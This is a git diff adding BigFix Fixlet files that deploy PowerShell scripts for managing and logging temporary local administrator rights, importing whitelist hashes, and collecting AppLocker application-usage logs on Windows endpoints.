+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25212">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for&amp;nbsp;5 days. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 5*day}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25213">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for&amp;nbsp;permanently.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Gold Image Hashes to Authorized Files - Windows (21897).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Gold Image Hashes to Authorized Files - Windows (21897).bes
new file mode 100644
index 000000000..09fe1c4de
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Gold Image Hashes to Authorized Files - Windows (21897).bes	
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Gold Image Hashes to Authorized Files - Windows
+  ID       : 21897
+  Author   : RES
+  Domain   : BESC
+  Imported : 2016-10-03T16:49:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Gold Image Hashes to Authorized Files - Windows</Title>
+    <Description><![CDATA[This fixlet will be relevant when there are gold image baseline results in the baseline share.&nbsp; When executed these applications and their associated hash values will be added to the whitelist.&nbsp; If the application is already in existence, the new hash will be added. ]]></Description>
+    <Relevance>exists main gather service</Relevance>
+    <Relevance><![CDATA[exists descendants whose (name of it starts with "authfiles" and name of it ends with ".txt") of folder ((value "EnterpriseServerFolder" of it as string & "UploadManagerData\BufferDir\sha1") of key "HKEY_LOCAL_MACHINE\Software\BigFix\Enterprise Server" of x32 registry)]]></Relevance>
+    <Source>RES Software</Source>
+    <SourceReleaseDate>2016-10-03</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Source Release Date: 2016-10-03
+delete __createfile
+delete run.ps1
+
+createfile until _end_
+param (
+    $InputDir = ".",
+    $InputFilter = "authfiles*.txt",
+    $PwrTech = "${{env:ProgramFiles(x86)}\RES Software\Workspace Manager\PwrTech.exe"
+)
+
+#Not Automatically set on Windows 7
+$PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
+
+function write-log {{
+    param(
+        $Message
+    )
+    $LogFile = "$PSScriptRoot\Import.log"
+
+    $FormattedMessage = "$((get-date).tostring()) - $((Get-PSCallStack).FunctionName[1]) - $Message"
+
+    write-verbose $FormattedMessage; $FormattedMessage >> $LogFile
+}
+
+#Get List of Files older than the TimeStamp in the Repository (Initialize Empty Array for PS <= 2.0)
+$Files = @(Get-ChildItem -force -Recurse (resolve-path $InputDir).path -Filter $InputFilter -ErrorAction SilentlyContinue)
+
+foreach ($File in $Files) {{
+    write-log "Processing $($File.FullName)"
+
+	write-log "Running: & ""$PwrTech"" /importhashes=""$($File.FullName)"" /createifnotexists"
+
+    $Output = & "$PwrTech" /importhashes="$($File.FullName)" /createifnotexists | Out-String
+
+    write-log $Output
+
+	if (($Output -join "`r`n") -like "*Finished importing file hashes*") {{
+		write-log "Success. Deleting $($File.FullName)"
+		remove-item $File.FullName -erroraction silentlycontinue
+	} else {{
+		write-log "Failure. Leaving $($File.FullName)"
+	}
+
+    write-log "Done Processing $($File.FullName)"
+}
+_end_
+
+move __createfile run.ps1
+
+waithidden powershell.exe -executionpolicy bypass -file "run.ps1" -InputDir "{(value "EnterpriseServerFolder" of it as string & "UploadManagerData\BufferDir\sha1") of key "HKEY_LOCAL_MACHINE\Software\BigFix\Enterprise Server" of x32 registry}"]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Permanent Administrators to Authorized Requestors - Windows (24156).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Permanent Administrators to Authorized Requestors - Windows (24156).bes
new file mode 100644
index 000000000..be4e6f295
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Permanent Administrators to Authorized Requestors - Windows (24156).bes	
@@ -0,0 +1,187 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Permanent Administrators to Authorized Requestors - Windows
+  ID       : 24156
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Permanent Administrators to Authorized Requestors - Windows</Title>
+    <Description><![CDATA[<P>This all all explicit members of the local administrators group as Authorized Temporary Administartive Rights Requestors.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(number of elements of it > 0) of (  /* Add All Explicit Members of Administrators */ set of component strings of (sids of members of local group "Administrators") whose (exists user of it)   /* Subtract Current Authorized Requestors */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry   /* Subtract Current Temporary Administrators */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry   /* Subtract Local Administrator (Can't Remove) */ - set of component string of sid of user "Administrator"  )]]></Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to add all local administrators&amp;nbsp;as&amp;nbsp;Authorized Temporary Administrative&amp;nbsp;Rights&amp;nbsp;Requestors.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Authorized Requestors
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry - set of component string of sid of user "Administrator" - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry )}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Grant -Requestor"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Analyze Application Usage - Windows (21122).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Analyze Application Usage - Windows (21122).bes
new file mode 100644
index 000000000..db17e80d0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Analyze Application Usage - Windows (21122).bes	
@@ -0,0 +1,152 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Analyze Application Usage - Windows
+  ID       : 21122
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-08T12:33:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Analyze Application Usage - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet does an extraction of Applocker Logs from the system and stores the results in an XML document in the __Global\C3AppUsage folder. This XML document can then be read to track application usage.</P>
+<P>For general information or to report issues with C3 Application Usage content please visit GitHub here: <A href="https://github.com/strawgate/C3-Application-Usage">https://github.com/strawgate/C3-Application-Usage</A></P>]]></Description>
